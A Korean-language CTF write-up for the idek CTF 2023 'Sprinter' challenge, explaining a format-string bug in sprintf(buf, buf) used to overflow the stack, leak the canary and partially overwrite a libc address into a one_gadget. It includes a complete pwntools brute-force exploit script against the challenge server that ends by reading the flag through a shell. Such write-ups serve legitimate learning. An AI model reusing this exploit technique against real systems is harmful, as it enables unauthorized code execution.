[CTF write up] idek CTF 2023 - Sprinter : Wierd Format String Bug

2023. 1. 16. 07:25CTF write up

int vuln()
{
  size_t len; // rax
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+108h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Enter your string into my buffer, located at %p: ", buf);
  fgets(buf, 256, stdin);
  len = (size_t)strchr(buf, 'n');
  if ( !len )
  {
    len = strlen(buf);
    if ( len <= 38 )
      LODWORD(len) = sprintf(buf, buf);
  }
  return len;
}

sprintf에서 포맷스트링 버그가 터진다. 문제는 n은 사용하지 못한다. sprintf에서 FSB가 발생하는 경우 %100c 등으로 많은 문자열을 버퍼에 때려넣어서 버퍼 오버플로우를 발생시킬 수 있다.

 

 

 

 

from pwn import *

for i in range(0,0x2fff):
    print(f'{i}/{0x1fff}')
    #p = process('vuln')
    p = remote('sprinter.chal.idek.team',1337)

    p.recvuntil(b'0x',timeout=10)
    stack = int(p.recvn(12),16)

    print(f'stack : {hex(stack)}')

    payload = f'\x01\x5b\x29%5$261c'.encode()
    payload += f'%4$c'.encode()
    payload += f'%10$.7s'.encode()
    payload += f'%8c'.encode()
    payload += b'%12$.3s%11$.5s'
    payload += b'\x00'*2
    payload += p64(stack+264+1)
    payload += p64(stack+264+8*4+3)
    payload += p64(stack)

    print(f'payload = {len(payload)}')
    p.sendline(payload)

    try:
        p.sendline(b'echo abcd')
        p.sendline(b'echo abcd')
        p.sendline(b'echo abcd')

        if b'abcd' in p.recvuntil(b'abcd',timeout=10):
            break
        else:
            p.close()
    except:
        try:
            p.close()
        except:
            pass

p.sendline(b'cat flag*')
p.interactive()

버퍼 오버플로우를 일으키고 널바이트 뒤쪽에 카나리가 위치하는 스택주소를 넣고 해당 스택주소를 참조하여 %s로 카나리 값을 찍어내면 카나리도 우회할 수 있다. 문제는 sprintf(buf,buf); 에서 buf 값이 buf로 담기기 때문에 FSB가 발생하기 전에 일부 값이 덮혀버리면서 이런저런 괴상한 현상이 발생한다.

 

그렇기 때문에 buf의 사이즈를 넘어가는 뒷쪽 스택 영역의 주소를 넣고 참조하여 스택에 있는 libc를 일부 찍어내고, 페이로드 앞쪽에 미리 libc의 일부분을 덮을 값을 준비하여 libc 주소 앞에 붙이면 onegadget 주소를 만들 수 있다. libc의 일부분을 덮는 것이기 때문에 1 / 4096 확률로 onegadget 주소가 맞춰진다.

 

 

 

 

 

 

 

gdb